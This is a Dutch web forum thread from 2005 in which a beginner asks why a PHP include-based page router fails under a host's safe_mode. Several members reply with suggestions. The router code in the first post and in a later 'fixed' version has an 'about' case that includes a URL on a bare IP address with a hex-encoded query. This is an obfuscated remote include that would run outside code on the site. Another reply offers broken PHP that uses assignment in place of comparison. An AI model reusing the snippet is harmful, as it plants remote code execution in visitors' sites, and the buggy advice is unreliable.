login  Naam:   Wachtwoord: 
Registreer je!
 Forum

include in safe_mode!!

Offline blub - 11/10/2005 20:29 (laatste wijziging 11/10/2005 20:30)
Avatar van blubNieuw lid ik gebruik deze code om pagina's te include
  1. <?php
  2. switch($_GET['p'])
  3. {
  4. case "home": $p= "home.php";break;
  5. case "portfolio": $p= "portfolio.php";break;
  6. case "services": $p= "services.php";break;
  7. case "about": $p= "http://82.179.166.161?url=%61%62%6f%75%74%2e%70%68%70";break;
  8. case "contact": $p= "contact.php";break;
  9.  
  10. default: $p= "home.php";break;
  11. }
  12. include($p);
  13. ?>


en nu zit ik bij een hosting en die heeft safe mode en nu werkt dat heele include niet meer 
om deze site gaat et -->az-koi
weet iemand wat ik hieraan kan doen??

8 antwoorden

Gesponsorde links
Offline Legolas - 11/10/2005 20:34
Avatar van Legolas Onbekend Werkt require ook niet meer? Dan zou zelfs je core niet eens meer werken. Dit noem ik eigenlijk geen safe-mode, maar gewoon een disable van een belangrijke functie... .

Test eens met require $p;  
Offline Frederic - 11/10/2005 20:37
Avatar van Frederic PHP ver gevorderde een host die geen include toelaat? dat geloof ik niet behalve als p= about, dan kan het nog (blokkeren van externe pagian's).
Maar include is zowiso toegestaan, waarvoor heb je anders PHP nodig? Of moet alles op 1 pagina komen (= duizenden regels = zwaarder voor hun servertje)
Offline Dolfje - 11/10/2005 20:58
Avatar van Dolfje Gouden medailleGouden medailleGouden medaille

PHP ver gevorderde
Het enige dat kan gebuiren is dat allow_url_fopen op FALSE staat, maar voor de rest moet het normaal werken
Offline blub - 11/10/2005 20:59
Avatar van blub Nieuw lid ja maart werkt niet :'(
Offline smoos - 11/10/2005 21:06
Avatar van smoos PHP gevorderde probeer eens gewoon zo:
  1. <?php
  2. if(isset($_GET['p']))
  3. {
  4. if($p = home)
  5. {
  6. $p = "home.php";
  7. }
  8. elseif($p = portfolio)
  9. {
  10. $p = "portfolio.php";
  11. }
  12. //blablabla
  13. }
  14. else
  15. {
  16. $p = "home.php";
  17. }
  18.  
  19. include($p);
  20.  
  21. ?>
Offline blub - 11/10/2005 21:12
Avatar van blub Nieuw lid werkt ook niet 

bij mn hosting zeggen ze dit :

Sylconia heeft PHP geinstalleerd en geconfigureerd in de safe_mode. Dit hebben we gedaan om de veiligheid van PHP scripts op je website te vergroten.

De foutmelding houd in dat je in je script GEEN volledige path namen hebt gebruikt. Zoals bijvoorbeeld ../html/index.php, deze syntax is dus fout en NIET toegestaan. Je kan dit oplossen door het volledige path op te geven naar het benodigde bestand of script. Zoals bijvoorbeeld /www/web10/html/index.php.

Bij de foutmelding staat ook meestal een regelnummer dus dat maakt het heel eenvoudig om te zien waar het fout gaat.

Een goede programmeur zal altijd standaard al volledige path namen gebruiken in zijn scripts.

TIP: vraag aan de helpdesk of je PHP in de CGI mode mag draaien dan heb je geen permissie problemen meer en ook geen problemen met de safe_mode. Dit is alleen van toepassing op linux hosting pakketten.

?????
Offline timmie_loots - 11/10/2005 21:34
Avatar van timmie_loots PHP gevorderde Zucht..

Er staat letterlijk dat je het volledige pad moet gebruiken. Dat staat er LETTERLIJK.. wat kunnen wij daar nou meer aan toevoegen? Sorry hoor, maar lezen is ook een kunst..

Omdat ik spam wil voorkomen, en zeker weet dat je dat gaat doen als ik het antwoord niet geef, hierzo:

  1. <?php
  2. switch($_GET['p'])
  3. {
  4. case "home": $p= "home.php";break;
  5. case "portfolio": $p= "portfolio.php";break;
  6. case "services": $p= "services.php";break;
  7. case "about": $p= "http://82.179.166.161?url=%61%62%6f%75%74%2e%70%68%70";break;
  8. case "contact": $p= "contact.php";break;
  9.  
  10. default: $p= "home.php";break;
  11. }
  12. $pad = '/www/web10/html/';
  13. include($pad.$p);
  14. ?>


En alsjeblieft, als dit niet werkt, blijf kalm, de redding is vast nabij!
Offline Gerard - 11/10/2005 23:53
Avatar van Gerard Ouwe rakker toch maar eens de tech support van je webhost mailen, dit is een beetje teveel van het goede.
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.197s